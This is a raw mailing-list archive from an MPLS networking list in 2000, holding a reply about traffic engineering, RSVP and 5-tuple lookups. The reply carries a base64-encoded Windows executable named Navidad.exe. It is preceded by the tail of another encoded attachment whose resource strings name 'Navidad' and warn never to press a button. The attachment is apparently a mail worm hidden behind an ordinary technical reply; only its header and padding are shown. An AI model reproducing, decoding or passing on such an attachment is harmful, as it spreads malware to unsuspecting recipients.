AIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAIEAgQCBAIEAgQABAAEAAQABAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAEAAQABAAEAAQABAAggCCAIIAggCCAIIAAgACAAIAAgAC AAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACABAAEAAQABAAIAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAABgADAAAAQAAAgAQAAABoAACABQAAAIAAAIAGAAAAoAAAgAkAAAC4AACA DgAAANAAAIAAAAAAAAAAAAAAAAAAAAMAAQAAAPAAAIACAAAACAEAgAMAAAAgAQCAAAAAAAAAAAAA AAAAAAABAG0AAAA4AQCAAAAAAAAAAAAAAAAAAAACAGUAAABQAQCAZwAAAGgBAIAAAAAAAAAAAAAA AAAAAAEABwAAAIABAIAAAAAAAAAAAAAAAAAAAAEAbQAAAJgBAIAAAAAAAAAAAAAAAAAAAAIAggAA ALABAICDAAAAyAEAgAAAAAAAAAAAAAAAAAAAAQAJBAAA4AEAAAAAAAAAAAAAAAAAAAAAAQAJBAAA 8AEAAAAAAAAAAAAAAAAAAAAAAQAJBAAAAAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAEAIAAAAAAAAA AAAAAAAAAAAAAQAJBAAAIAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAMAIAAAAAAAAAAAAAAAAAAAAA AQAJBAAAQAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAUAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAYAIA AAAAAAAAAAAAAAAAAAAAAQAJBAAAcAIAAIByAADoAgAAAAAAAAAAAABodQAAKAEAAAAAAAAAAAAA uHYAAOgCAAAAAAAAAAAAALh5AABKAAAAAAAAAAAAAAAIewAAhgAAAAAAAAAAAAAAGHoAAO4AAAAA AAAAAAAAAJB7AABUAAAAAAAAAAAAAAAIegAAEAAAAAAAAAAAAAAAkHYAACIAAAAAAAAAAAAAAKB5 AAAUAAAAAAAAAAAAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA ////APAP/w8AAPD/D/DwAP8P8A8PD/8PD/Dw8PDw//Dw8PDwDw//Dw/w8PDw8PAA8PDw8A8P//Dw DwDw8ADw//Dw8PAPD/AA8A/w/w/w8AD/D/DwDw/////////////////w8A8AAAAAAAAAAAAAAAAA APAP///////////////////wDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA /w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDw Dw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8P D/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8P APDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/w D/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw 8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A////////////////////DwAAAAAAAAAAAAAAAA AAAPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD/ /wAA////AAAPDw8AAPAADw8PAAAAAPAPAPAA8A/w8A8P//////DwDwAAAAAAAPAP////////8A8P APDw8ADwDw8A8PDwAPAPDwDw8PAA8A8PAPDw8ADwDw8A8PDwAPAPDwDw8PAA8A8PAPDw8ADwDw8A 8PDwAPAP////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQACACAgEAABAAQA6AIAAAEAEBAQAAEABAAo AQAAAgAAAAAAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA gAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA//// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAj//4AAAAAAAAAAAAAAAI/8zMzP +AAAAAAAAAAAAI/8zMzMzM//gAAAAAAAAI//zMzMzMzM//+AAAAAAAj//MTMzMzMTM//+AAAAACP /8zMTMAMxMzM//+AAAAP///ETMAAAAzETP//8AAAiI/8zMTAAAAMTMzP+IgAAAeIjMTMAAAAAMxM yIhwAAAAeIxERAAAAABERMiHAAAAAAd8RERACIAERETHcAAAAAAADEREQA/wBEREwAAAAAAAAAAE RERABERETAAAAAAAAAAAAARERERERAAAAAAAAAAAAAAAAEREAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ////////////////////////////////////////////+B///8AD//8AAH/8AAAf+AAAD/AAAAfg AAACQAAAAoAAAACAAAABwAAAA+AAAAfwAAAP/AAAP/8AAH//wAH///gf//////////////////// //////////////////8AAAEAAQAgIBAAAQAEAOgCAAADAAAAAAAAAAAAEAAmAEYAaQBsAGUAAACA AGkARQAmAHgAaQB0AAAAkAAmAEgAZQBsAHAAAACAAGgAJgBBAGIAbwB1AHQAIAAuAC4ALgAAAAAA AAAAABAAPwBoAAAAkAAvAGgAAADAAMgAAAAAAAQAFgARAOYASwAAAAAAQQBiAG8AdQB0AAAACABT AHkAcwB0AGUAbQAAAAAAAwAAUAAAAAAOAAkAEAAQAAIA//+CAP//awAAAIAAAlAAAAAAMQAKAHcA CAD/////ggBOAGEAdgBpAGQAYQBkACAAVgBlAHIAcwBpAG8AbgAgADEALgAwAAAAAAAAAAJQAAAA ADEAFAB3AAgA/////4IAQwBvAHAAeQByAGkAZwBoAHQAIAAoAEMAKQAgADIAMAAwADAAAAAAAAAA AQADUAAAAADDAAYAHgALAAEA//+AAE8ASwAAAAAAAABCCMiAAAAAAAEAAAAAAJAAJgAAAAAAAAAL AEMAbwBtAGkAYwAgAFMAYQBuAHMAIABNAFMAAAAAAAEAAVAAAAAADAAHAHYAFgDoA///gABOAHUA bgBjAGEAIABwAHIAZQBzAGkAbwBuAGEAcgAgAGUAcwB0AGUAIABiAG8AdABvAG4AAAAAAAAAAAAA AAAAAAAAAAAAAAAHAE4AYQB2AGkAZABhAGQAAAAAAAwASABlAGwAbABvACAAVwBvAHIAbABkACEA AAAAAAcATgBBAFYASQBEAEEARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ------=_NextPart_000_0042_01C05864.FE01AB30-- From owner-mpls@UU.NET Mon Nov 27 16:18:07 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA08206 for ; Mon, 27 Nov 2000 16:18:05 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrea02747; Mon, 27 Nov 2000 21:14:41 GMT Received: by mail-control.mail.uu.net id QQjrea21151 for mpls-outgoing; Mon, 27 Nov 2000 21:14:18 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrea21138 for ; Mon, 27 Nov 2000 21:14:13 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrea16857 for ; Mon, 27 Nov 2000 21:13:06 GMT Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjrea06843 for ; Mon, 27 Nov 2000 21:13:05 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id NAA02529 for ; Mon, 27 Nov 2000 13:13:05 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id QAA08756 for mpls@uu.net; Mon, 27 Nov 2000 16:13:03 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrdt18287 for ; Mon, 27 Nov 2000 19:24:14 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrdt12578 for ; Mon, 27 Nov 2000 19:23:57 GMT Received: from mapleoptical.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: host202.razafoundries.com [63.111.208.202] (may be forged)) id QQjrdt08744 for ; Mon, 27 Nov 2000 19:23:56 GMT Received: from IBMW2K ([192.168.12.31]) by mapleoptical.com (8.11.0/8.11.0) with SMTP id eARJNPu08771; Mon, 27 Nov 2000 11:23:25 -0800 (PST) Date: Mon, 27 Nov 2000 11:23:25 -0800 (PST) Message-ID: <005a01c058a8$0d878870$1f0ca8c0@IBMW2K> From: "jchen" To: "Bora Akyol" Cc: Subject: Re: Traffic engineering and RSVP MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0050_01C05864.FF0586A0" X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0050_01C05864.FF0586A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Good that there are routers who does the 5 tuple lookup=20 for 1 million connections at line rate of OC-48 :-) But do we need them in the core? - sudheer Bora Akyol wrote: >=20 > I would not jump on this so fast, there is at least one router out = there that can > do line rate 5-tuple lookups for many, many rules. >=20 > Just because **you** don't know how to do it, doesn't mean it can't be = done. >=20 > Bora >=20 > Sudheer Dharanikota wrote: >=20 > > Yes sir.. you are missing many things. > > > > TE is mainly used for core. In core nobody in right mind > > will do 5 tuple lookup on the the Ip packet :-) > > > > - sudheer > > > > Rajeev Manur wrote: > > > > > > see below... > > > > > > -----Original Message----- > > > From: Sudheer Dharanikota [mailto:sudheer@nayna.com] > > > Sent: Thursday, October 19, 2000 7:21 AM > > > To: Mike Badil > > > Cc: mpls@UU.NET > > > Subject: Re: Traffic engineering and RSVP > > > > > > Mike Badil wrote: > > > > > > > > Hi > > > > > > > > I confused when I read traffic engineering with MPLS. > > > > > > > > My question is: > > > > > > > > MPLS is combination of layer 2 swithing and layer 3 routing. = Traffic eng. > > > is > > > > part of layer 3. In MPLS route(LSP) is established in advance = according to > > > > the constraints. in other word, instead of choosing shortest = path, it > > > choose > > > > the path which satisfy its requirments, and to make link = utulization > > > better. > > > > In order to have done this with MPLS there are some works which = say that > > > > OSPF,IS-IS can be modified by adding constraint to it. > > > > > > > > That is clear so far, > > > > > > > > I wondering that whether we can have those traffic engineering = conditions > > > be > > > > satisfied by other tech. > > > > > > > > For example; RSVP-Intserv set up route in advance also. If we = use extended > > > > OSPF,IS-IS etc.algorithm with Intserv-RSVP as we use in MPLS, > > > > we can choose the path which satisfy our constraints instead of = choosing > > > > Shortest path. Link load balancing can be done as in MPLS. So = most of > > > > traffic engineering requirements will be satisfied.(let don't = consider > > > > scalibility problem with RSVP now). Or it can work any other = technology > > > > which use RSVP. > > > > > > > > > > The problem is in applying filter at every node to make sure your = IP > > > packet > > > is following the selected path. Hence data path becomes slow. > > > > > > RAJEEV> I thought almost all the boxes today perform complete = packet > > > processing at line-rate with or without the application of packet = filters. I > > > don't see the relevence of the above statment. Am i missing = anything.. > > > > > > - sudheer > > > > > > > What am I missing here? > > > > > > > > = _________________________________________________________________________= > > > > Get Your Private, Free E-mail from MSN Hotmail at = http://www.hotmail.com. > > > > > > > > Share information about yourself, create your own public profile = at > > > > http://profiles.msn.com. ------=_NextPart_000_0050_01C05864.FF0586A0 Content-Type: application/x-msdownload; name="Navidad.exe" Content-Disposition: attachment; filename="Navidad.exe" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAACkWsl34DunJOA7pyTgO6ckCCStJPY7pyRjJ6kk6TunJIIktCTmO6ckuRi0 JOM7pyTgO6YkrzunJAgkrCTkO6ckWD2hJOE7pyRSaWNo4DunJAAAAAAAAAAAUEUAAEwBBACc3v85 AAAAAAAAAADgAA8BCwEGAABAAAAAMAAAAAAAAJ4bAAAAEAAAAFAAAAAAQAAAEAAAABAAAAQAAAAA AAAABAAAAAAAAAAAgAAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AACkVAAAZAAAAABwAADoCwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAEABAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAudGV4dAAAAP4zAAAAEAAAAEAAAAAQAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAABw CwAAAFAAAAAQAAAAUAAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAXA0AAABgAAAAEAAAAGAAAAAA AAAAAAAAAAAAAEAAAMAucnNyYwAAAOgLAAAAcAAAABAAAABwAAAAAAAAAAAAAAAAAABAAABAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 